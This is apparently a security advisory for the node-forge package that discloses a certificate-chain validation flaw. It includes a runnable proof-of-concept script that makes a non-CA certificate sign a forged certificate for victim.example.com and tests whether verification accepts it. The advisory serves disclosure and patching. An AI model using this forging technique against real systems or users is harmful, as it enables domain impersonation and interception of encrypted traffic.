Improper Certificate Validation Affecting node-forge package, versions <1.4.0

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Certificate Validation in the verifyCertificateChain function. An attacker can gain unauthorized certificate authority capabilities by presenting a certificate chain where an intermediate certificate lacks both basicConstraints and keyUsage extensions, allowing the attacker to sign certificates for arbitrary domains and have them accepted as valid.

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

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